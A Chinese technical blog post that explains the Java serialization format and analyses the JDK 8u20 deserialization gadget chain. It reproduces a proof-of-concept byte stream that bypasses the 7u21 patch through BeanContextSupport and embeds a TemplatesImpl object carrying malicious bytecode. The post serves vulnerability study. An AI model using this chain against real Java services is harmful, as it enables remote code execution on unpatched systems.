java 8u20_Java 8u20反序列化漏洞分析

一、前言

在JDK7u21中反序列化漏洞修补方式是在AnnotationInvocationHandler类对type属性做了校验,原来的payload就会执行失败,在8u20中使用BeanContextSupport类对这个修补方式进行了绕过。

二、Java序列化过程及数据分析

在8u20的POC中需要直接操作序列化文件结构,需要对Java序列化数据写入过程、数据结构和数据格式有所了解。

先看一段代码

import java.io.Serializable;

public class B implements Serializable {

public String name = "jack";

public int age = 100;

public B() {

}

}

1

2

3

4

5

6

7

8

9

importjava.io.Serializable;

publicclassBimplementsSerializable{

publicStringname="jack";

publicintage=100;

publicB(){

}

}

import java.io.*;

public class A extends B implements Serializable {

private static final long serialVersionUID = 1L;

public String name = "tom";

public int age = 50;

public A() {

}

public static void main(String[] args) throws IOException {

A a = new A();

serialize(a, "./a.ser");

}

public static void serialize(Object object, String file) throws IOException {

File f = new File(file);

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));

out.writeObject(object);

out.flush();

out.close();

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

importjava.io.*;

publicclassAextendsBimplementsSerializable{

privatestaticfinallongserialVersionUID=1L;

publicStringname="tom";

publicintage=50;

publicA(){

}

publicstaticvoidmain(String[]args)throwsIOException{

Aa=newA();

serialize(a,"./a.ser");

}

publicstaticvoidserialize(Objectobject,Stringfile)throwsIOException{

Filef=newFile(file);

ObjectOutputStreamout=newObjectOutputStream(newFileOutputStream(f));

out.writeObject(object);

out.flush();

out.close();

}

}

运行A类main方法会生成a.ser文件,以16进制的方式打开看下a.ser文件内容

0000000 ac ed 00 05 73 72 00 01 41 00 00 00 00 00 00 00

0000010 01 02 00 02 49 00 03 61 67 65 4c 00 04 6e 61 6d

0000020 65 74 00 12 4c 6a 61 76 61 2f 6c 61 6e 67 2f 53

0000030 74 72 69 6e 67 3b 78 72 00 01 42 bf 30 15 78 75

0000040 7d f1 2f 02 00 02 49 00 03 61 67 65 4c 00 04 6e

0000050 61 6d 65 71 00 7e 00 01 78 70 00 00 00 64 74 00

0000060 04 6a 61 63 6b 00 00 00 32 74 00 03 74 6f 6d

000006f

1

2

3

4

5

6

7

8

0000000aced0005737200014100000000000000

0000010010200024900036167654c00046e616d

0000020657400124c6a6176612f6c616e672f53

00000307472696e673b7872000142bf30157875

00000407df12f0200024900036167654c00046e

0000050616d6571007e00017870000000647400

0000060046a61636b00000032740003746f6d

000006f

跟下ObjectOutputStream类,来一步步分析下这些代码的含义

java.io.ObjectOutputStream#writeStreamHeader 写入头信息

39460810391b570df3cf23bbb3920b8a.png

java.io.ObjectStreamConstants 看下具体值

a51fe47074e2f98d58cf8904fa1e8679.png

STREAM_MAGIC 16进制的aced固定值,是这个流的魔数写入在文件的开始位置,可以理解成标识符,程序根据这几个字节的内容就可以确定该文件的类型。

STREAM_VERSION 这个是流的版本号,当前版本号是5。

在看下out.writeObject(object)是怎么写入数据的,会先解析class结构,然后判断是否实现了Serializable接口,然后执行java.io.ObjectOutputStream#writeOrdinaryObject方法

237391091a0e6d0d3e308592cf53a333.png

1426行写入TC_OBJECT,常量TC_OBJECT的值是(byte)0x73,1427行调用writeClassDesc方法,然后会调用到java.io.ObjectOutputStream#writeNonProxyDesc方法

fdcd04590404c1efebca9a2a87d3caad.png TC_CLASSDESC的值是(byte)0×72,在调用java.io.ObjectStreamClass#writeNonProxy方法。

94e327ab76d90998c4161d55fdc814de.png

721行先写入对象的类名,然后写入serialVersionUID的值,看下java.io.ObjectStreamClass#getSerialVersionUID方法

c1cbb8c1bcb24518a0d84205cc098a1e.png

默认使用对象的serialVersionUID值,如果对象serialVersionUID的值为空则会计算出一个serialVersionUID的值。

接着调用out.writeByte(flags)写入classDescFlags,可以看见上面判断了如果是实现了serializable则取常量SC_SERIALIZABLE 的0×02值。然后调用out.writeShort(fields.length)写入成员的长度。在调用out.writeByte和out.writeUTF方法写入属性的类型和名称。

然后调用bout.writeByte(TC_ENDBLOCKDATA)方法表示一个Java对象的描述结束。TC_ENDBLOCKDATA常量的值是(byte)0×78。在调用writeClassDesc(desc.getSuperDesc(), false)写入父类的结构信息。

接着调用writeSerialData(obj, desc)写入对象属性的值,调用java.io.ObjectOutputStream#writeSerialData

d529b2fc10ae20930bfcd8aace1be6c6.png

可以看见slots变量的值是父类在前面,这里会先写入的是父类的值。

java.io.ObjectOutputStream#defaultWriteFields

0c18b17f1a0f69070ed1f07b328a7c1d.png

这里可以总结下,在序列化对象时,先序列化该对象类的信息和该类的成员属性,再序列化父类的类信息和成员属性,然后序列化对象数据信息时,先序列化父类的数据信息,再序列化子类的数据信息,两部分数据生成的顺序刚好相反。

分析Java序列化文件,使用SerializationDumper工具可以帮助我们理解,这里使用SerializationDumper查看这个序列化文件看下

STREAM_MAGIC - 0xac ed

STREAM_VERSION - 0x00 05

Contents

TC_OBJECT - 0x73

TC_CLASSDESC - 0x72

className

Length - 1 - 0x00 01

Value - A - 0x41

serialVersionUID - 0x00 00 00 00 00 00 00 01

newHandle 0x00 7e 00 00

classDescFlags - 0x02 - SC_SERIALIZABLE

fieldCount - 2 - 0x00 02

Fields

0:

Int - I - 0x49

fieldName

Length - 3 - 0x00 03

Value - age - 0x616765

1:

Object - L - 0x4c

fieldName

Length - 4 - 0x00 04

Value - name - 0x6e616d65

className1

TC_STRING - 0x74

newHandle 0x00 7e 00 01

Length - 18 - 0x00 12

Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b

classAnnotations

TC_ENDBLOCKDATA - 0x78

superClassDesc

TC_CLASSDESC - 0x72

className

Length - 1 - 0x00 01

Value - B - 0x42

serialVersionUID - 0xbf 30 15 78 75 7d f1 2f

newHandle 0x00 7e 00 02

classDescFlags - 0x02 - SC_SERIALIZABLE

fieldCount - 2 - 0x00 02

Fields

0:

Int - I - 0x49

fieldName

Length - 3 - 0x00 03

Value - age - 0x616765

1:

Object - L - 0x4c

fieldName

Length - 4 - 0x00 04

Value - name - 0x6e616d65

className1

TC_REFERENCE - 0x71

Handle - 8257537 - 0x00 7e 00 01

classAnnotations

TC_ENDBLOCKDATA - 0x78

superClassDesc

TC_NULL - 0x70

newHandle 0x00 7e 00 03

classdata

B

values

age

(int)100 - 0x00 00 00 64

name

(object)

TC_STRING - 0x74

newHandle 0x00 7e 00 04

Length - 4 - 0x00 04

Value - jack - 0x6a61636b

A

values

age

(int)50 - 0x00 00 00 32

name

(object)

TC_STRING - 0x74

newHandle 0x00 7e 00 05

Length - 3 - 0x00 03

Value - tom - 0x746f6d

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

STREAM_MAGIC-0xaced

STREAM_VERSION-0x0005

Contents

TC_OBJECT-0x73

TC_CLASSDESC-0x72

className

Length-1-0x0001

Value-A-0x41

serialVersionUID-0x0000000000000001

newHandle0x007e0000

classDescFlags-0x02-SC_SERIALIZABLE

fieldCount-2-0x0002

Fields

0:

Int-I-0x49

fieldName

Length-3-0x0003

Value-age-0x616765

1:

Object-L-0x4c

fieldName

Length-4-0x0004

Value-name-0x6e616d65

className1

TC_STRING-0x74

newHandle0x007e0001

Length-18-0x0012

Value-Ljava/lang/String;-0x4c6a6176612f6c616e672f537472696e673b

classAnnotations

TC_ENDBLOCKDATA-0x78

superClassDesc

TC_CLASSDESC-0x72

className

Length-1-0x0001

Value-B-0x42

serialVersionUID-0xbf301578757df12f

newHandle0x007e0002

classDescFlags-0x02-SC_SERIALIZABLE

fieldCount-2-0x0002

Fields

0:

Int-I-0x49

fieldName

Length-3-0x0003

Value-age-0x616765

1:

Object-L-0x4c

fieldName

Length-4-0x0004

Value-name-0x6e616d65

className1

TC_REFERENCE-0x71

Handle-8257537-0x007e0001

classAnnotations

TC_ENDBLOCKDATA-0x78

superClassDesc

TC_NULL-0x70

newHandle0x007e0003

classdata

B

values

age

(int)100-0x00000064

name

(object)

TC_STRING-0x74

newHandle0x007e0004

Length-4-0x0004

Value-jack-0x6a61636b

A

values

age

(int)50-0x00000032

name

(object)

TC_STRING-0x74

newHandle0x007e0005

Length-3-0x0003

Value-tom-0x746f6d

三、漏洞分析及POC解读

8u20是基于7u21的绕过,不熟悉7u21的可以先看这篇文章了解下,看下7u21漏洞的修补方式。

sun.reflect.annotation.AnnotationInvocationHandler#readObject

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {

var1.defaultReadObject();

AnnotationType var2 = null;

try {

var2 = AnnotationType.getInstance(this.type);

} catch (IllegalArgumentException var9) {

throw new InvalidObjectException("Non-annotation type in annotation serial stream");

}

...

1

2

3

4

5

6

7

8

9

10

privatevoidreadObject(ObjectInputStreamvar1)throwsIOException,ClassNotFoundException{

var1.defaultReadObject();

AnnotationTypevar2=null;

try{

var2=AnnotationType.getInstance(this.type);

}catch(IllegalArgumentExceptionvar9){

thrownewInvalidObjectException("Non-annotation type in annotation serial stream");

}

...

在AnnotationType.getInstance方法里对this.type类型有判断,需要是annotation类型,原payload里面是Templates类型,所以这里会抛出错误。可以看到在readObject方法里面,是先执行var1.defaultReadObject()还原了对象,然后在进行验证,不符合类型则抛出异常。漏洞作者找到java.beans.beancontext.BeanContextSupport类对这里进行了绕过。

看下BeanContextSupport类

private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

synchronized(BeanContext.globalHierarchyLock) {

ois.defaultReadObject();

initialize();

bcsPreDeserializationHook(ois);

if (serializable > 0 && this.equals(getBeanContextPeer()))

readChildren(ois);

deserialize(ois, bcmListeners = new ArrayList(1));

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

privatesynchronizedvoidreadObject(ObjectInputStreamois)throwsIOException,ClassNotFoundException{

synchronized(BeanContext.globalHierarchyLock){

ois.defaultReadObject();

initialize();

bcsPreDeserializationHook(ois);

if(serializable>0&&this.equals(getBeanContextPeer()))

readChildren(ois);

deserialize(ois,bcmListeners=newArrayList(1));

}

}

public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {

int count = serializable;

while (count-- > 0) {

Object child = null;

BeanContextSupport.BCSChild bscc = null;

try {

child = ois.readObject();

bscc = (BeanContextSupport.BCSChild)ois.readObject();

} catch (IOException ioe) {

continue;

} catch (ClassNotFoundException cnfe) {

continue;

}

...

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

publicfinalvoidreadChildren(ObjectInputStreamois)throwsIOException,ClassNotFoundException{

intcount=serializable;

while(count-->0){

Objectchild=null;

BeanContextSupport.BCSChildbscc=null;

try{

child=ois.readObject();

bscc=(BeanContextSupport.BCSChild)ois.readObject();

}catch(IOExceptionioe){

continue;

}catch(ClassNotFoundExceptioncnfe){

continue;

}

...

可以看到在readChildren方法中,在执行ois.readObject()时,这里try catch了,但是没有把异常抛出来,程序会接着执行。如果这里可以把AnnotationInvocationHandler对象在BeanContextSupport类第二次writeObject的时候写入AnnotationInvocationHandler对象,这样反序列化时,即使AnnotationInvocationHandler对象 this.type的值为Templates类型也不会报错。

反序列化还有两点就是:

1.反序列化时类中没有这个成员,依然会对这个成员进行反序列化操作,但是会抛弃掉这个成员。

2.每一个新的对象都会分配一个newHandle的值,newHandle生成规则是从0x7e0000开始递增,如果后面出现相同的类型则会使用TC_REFERENCE结构,引用前面handle的值。

下面直接来看pwntester师傅提供的poc吧

...

new Object[]{

STREAM_MAGIC, STREAM_VERSION, // stream headers

// (1) LinkedHashSet

TC_OBJECT,

TC_CLASSDESC,

LinkedHashSet.class.getName(),

-2851667679971038690L,

(byte) 2, // flags

(short) 0, // field count

TC_ENDBLOCKDATA,

TC_CLASSDESC, // super class

HashSet.class.getName(),

-5024744406713321676L,

(byte) 3, // flags

(short) 0, // field count

TC_ENDBLOCKDATA,

TC_NULL, // no superclass

// Block data that will be read by HashSet.readObject()

// Used to configure the HashSet (capacity, loadFactor, size and items)

TC_BLOCKDATA,

(byte) 12,

(short) 0,

(short) 16, // capacity

(short) 16192, (short) 0, (short) 0, // loadFactor

(short) 2, // size

// (2) First item in LinkedHashSet

templates, // TemplatesImpl instance with malicious bytecode

// (3) Second item in LinkedHashSet

// Templates Proxy with AIH handler

TC_OBJECT,

TC_PROXYCLASSDESC, // proxy declaration

1, // one interface

Templates.class.getName(), // the interface implemented by the proxy

TC_ENDBLOCKDATA,

TC_CLASSDESC,

Proxy.class.getName(), // java.lang.Proxy class desc

-2222568056686623797L, // serialVersionUID

SC_SERIALIZABLE, // flags

(short) 2, // field count

(byte) 'L', "dummy", TC_STRING, "Ljava/lang/Object;", // dummy non-existent field

(byte) 'L', "h", TC_STRING, "Ljava/lang/reflect/InvocationHandler;", // h field

TC_ENDBLOCKDATA,

TC_NULL, // no superclass

// (3) Field values

// value for the dummy field

// this field does not actually exist in the Proxy class, so after deserialization this object is ignored.

// (4) BeanContextSupport

TC_OBJECT,

TC_CLASSDESC,

BeanContextSupport.class.getName(),

-4879613978649577204L, // serialVersionUID

(byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),

(short) 1, // field count

(byte) 'I', "serializable", // serializable field, number of serializable children

TC_ENDBLOCKDATA,

TC_CLASSDESC, // super class

BeanContextChildSupport.class.getName(),

6328947014421475877L,

SC_SERIALIZABLE,

(short) 1, // field count

(byte) 'L', "beanContextChildPeer", TC_STRING, "Ljava/beans/beancontext/BeanContextChild;",

TC_ENDBLOCKDATA,

TC_NULL, // no superclass

// (4) Field values

// beanContextChildPeer must point back to this BeanContextSupport for BeanContextSupport.readObject to go into BeanContextSupport.readChildren()

TC_REFERENCE, baseWireHandle + 12,

// serializable: one serializable child

1,

// now we add an extra object that is not declared, but that will be read/consumed by readObject

// BeanContextSupport.readObject calls readChildren because we said we had one serializable child but it is not in the byte array

// so the call to child = ois.readObject() will deserialize next object in the stream: the AnnotationInvocationHandler

// At this point we enter the readObject of the aih that will throw an exception after deserializing its default objects

// (5) AIH that will be deserialized as part of the BeanContextSupport

TC_OBJECT,

TC_CLASSDESC,

"sun.reflect.annotation.AnnotationInvocationHandler",

6182022883658399397L, // serialVersionUID

(byte) (SC_SERIALIZABLE | SC_WRITE_METHOD),

(short) 2, // field count

(byte) 'L', "type", TC_STRING, "Ljava/lang/Class;", // type field

(byte) 'L', "memberValues", TC_STRING, "Ljava/util/Map;", // memberValues field

TC_ENDBLOCKDATA,

TC_NULL, // no superclass

// (5) Field Values

Templates.class, // type field value

map, // memberValues field value

// note: at this point normally the BeanContextSupport.readChildren would try to read the

// BCSChild; but because the deserialization of the AnnotationInvocationHandler above throws,

// we skip past that one into the catch block, and continue out of readChildren

// the exception takes us out of readChildren and into BeanContextSupport.readObject

// where there is a call to deserialize(ois, bcmListeners = new ArrayList(1));

// Within deserialize() there is an int read (0) and then it will read as many obejcts (0)

TC_BLOCKDATA,

(byte) 4, // block length

0, // no BeanContextSupport.bcmListenes

TC_ENDBLOCKDATA,

// (6) value for the Proxy.h field

TC_REFERENCE, baseWireHandle + offset + 16, // refer back to the AnnotationInvocationHandler

TC_ENDBLOCKDATA,

};

...

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

...

newObject[]{

STREAM_MAGIC,STREAM_VERSION,// stream headers

// (1) LinkedHashSet

TC_OBJECT,

TC_CLASSDESC,

LinkedHashSet.class.getName(),

-2851667679971038690L,

(byte)2,// flags

(short)0,// field count

TC_ENDBLOCKDATA,

TC_CLASSDESC,// super class

HashSet.class.getName(),

-5024744406713321676L,

(byte)3,// flags

(short)0,// field count

TC_ENDBLOCKDATA,

TC_NULL,// no superclass

// Block data that will be read by HashSet.readObject()

// Used to configure the HashSet (capacity, loadFactor, size and items)

TC_BLOCKDATA,

(byte)12,

(short)0,

(short)16,// capacity

(short)16192,(short)0,(short)0,// loadFactor

(short)2,// size

// (2) First item in LinkedHashSet

templates,// TemplatesImpl instance with malicious bytecode

// (3) Second item in LinkedHashSet

// Templates Proxy with AIH handler

TC_OBJECT,

TC_PROXYCLASSDESC,// proxy declaration

1,// one interface

Templates.class.getName(),// the interface implemented by the proxy

TC_ENDBLOCKDATA,

TC_CLASSDESC,

Proxy.class.getName(),// java.lang.Proxy class desc

-2222568056686623797L,// serialVersionUID

SC_SERIALIZABLE,// flags

(short)2,// field count

(byte)'L',"dummy",TC_STRING,"Ljava/lang/Object;",// dummy non-existent field

(byte)'L',"h",TC_STRING,"Ljava/lang/reflect/InvocationHandler;",// h field

TC_ENDBLOCKDATA,

TC_NULL,// no superclass

// (3) Field values

// value for the dummy field

// this field does not actually exist in the Proxy class, so after deserialization this object is ignored.

// (4) BeanContextSupport

TC_OBJECT,

TC_CLASSDESC,

BeanContextSupport.class.getName(),

-4879613978649577204L,// serialVersionUID

(byte)(SC_SERIALIZABLE|SC_WRITE_METHOD),

(short)1,// field count

(byte)'I',"serializable",// serializable field, number of serializable children

TC_ENDBLOCKDATA,

TC_CLASSDESC,// super class

BeanContextChildSupport.class.getName(),

6328947014421475877L,

SC_SERIALIZABLE,

(short)1,// field count

(byte)'L',"beanContextChildPeer",TC_STRING,"Ljava/beans/beancontext/BeanContextChild;",

TC_ENDBLOCKDATA,

TC_NULL,// no superclass

// (4) Field values

// beanContextChildPeer must point back to this BeanContextSupport for BeanContextSupport.readObject to go into BeanContextSupport.readChildren()

TC_REFERENCE,baseWireHandle+12,

// serializable: one serializable child

1,

// now we add an extra object that is not declared, but that will be read/consumed by readObject

// BeanContextSupport.readObject calls readChildren because we said we had one serializable child but it is not in the byte array

// so the call to child = ois.readObject() will deserialize next object in the stream: the AnnotationInvocationHandler

// At this point we enter the readObject of the aih that will throw an exception after deserializing its default objects

// (5) AIH that will be deserialized as part of the BeanContextSupport

TC_OBJECT,

TC_CLASSDESC,

"sun.reflect.annotation.AnnotationInvocationHandler",

6182022883658399397L,// serialVersionUID

(byte)(SC_SERIALIZABLE|SC_WRITE_METHOD),

(short)2,// field count

(byte)'L',"type",TC_STRING,"Ljava/lang/Class;",// type field

(byte)'L',"memberValues",TC_STRING,"Ljava/util/Map;",// memberValues field

TC_ENDBLOCKDATA,

TC_NULL,// no superclass

// (5) Field Values

Templates.class,// type field value

map,// memberValues field value

// note: at this point normally the BeanContextSupport.readChildren would try to read the

// BCSChild; but because the deserialization of the AnnotationInvocationHandler above throws,

// we skip past that one into the catch block, and continue out of readChildren

// the exception takes us out of readChildren and into BeanContextSupport.readObject

// where there is a call to deserialize(ois, bcmListeners = new ArrayList(1));

// Within deserialize() there is an int read (0) and then it will read as many obejcts (0)

TC_BLOCKDATA,

(byte)4,// block length

0,// no BeanContextSupport.bcmListenes

TC_ENDBLOCKDATA,

// (6) value for the Proxy.h field

TC_REFERENCE,baseWireHandle+offset+16,// refer back to the AnnotationInvocationHandler

TC_ENDBLOCKDATA,

};

...

这里直接构造序列化的文件结构和数据,可以看到注释分为6个步骤:

1.构造LinkedHashSet的结构信息

2.写入payload中TemplatesImpl对象

3.构造Templates Proxy的结构,这里定义了一个虚假的dummy成员,虚假成员也会进行反序列化操作,虽然会抛弃掉这个成员,但是也会生成一个newHandle的值。

4.这里为了BeanContextSupport对象反序列化时能走到readChildren方法那,需要设置serializable要>0并且父类 beanContextChildPeer成员的值为当前对象。BeanContextChildSupport对象已经出现过了,这里直接进行TC_REFERENCE引用对应的Handle。

5.前面分析过在readChildren方法中会再次进行ois.readObject(),这里把payload里面的AnnotationInvocationHandler对象写入即可。这里try catch住了,并没有抛出异常,虽然dummy是假属性依然会进行反序列化操作,目的就是完成反序列化操作生成newHandle值,用于后面直接进行引用。

6.这里就是原JDK7u21里面的payload,把AnnotationInvocationHandler对象引用至前面的handle地址即可。

四、总结

JDK7u21和8u20这两个payload不依赖第三方的jar,只需要满足版本的JRE即可进行攻击,整条链也十分巧妙,在8u20中的几个trick也让我对Java序列化机制有了进一步的认识。

五、参考链接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值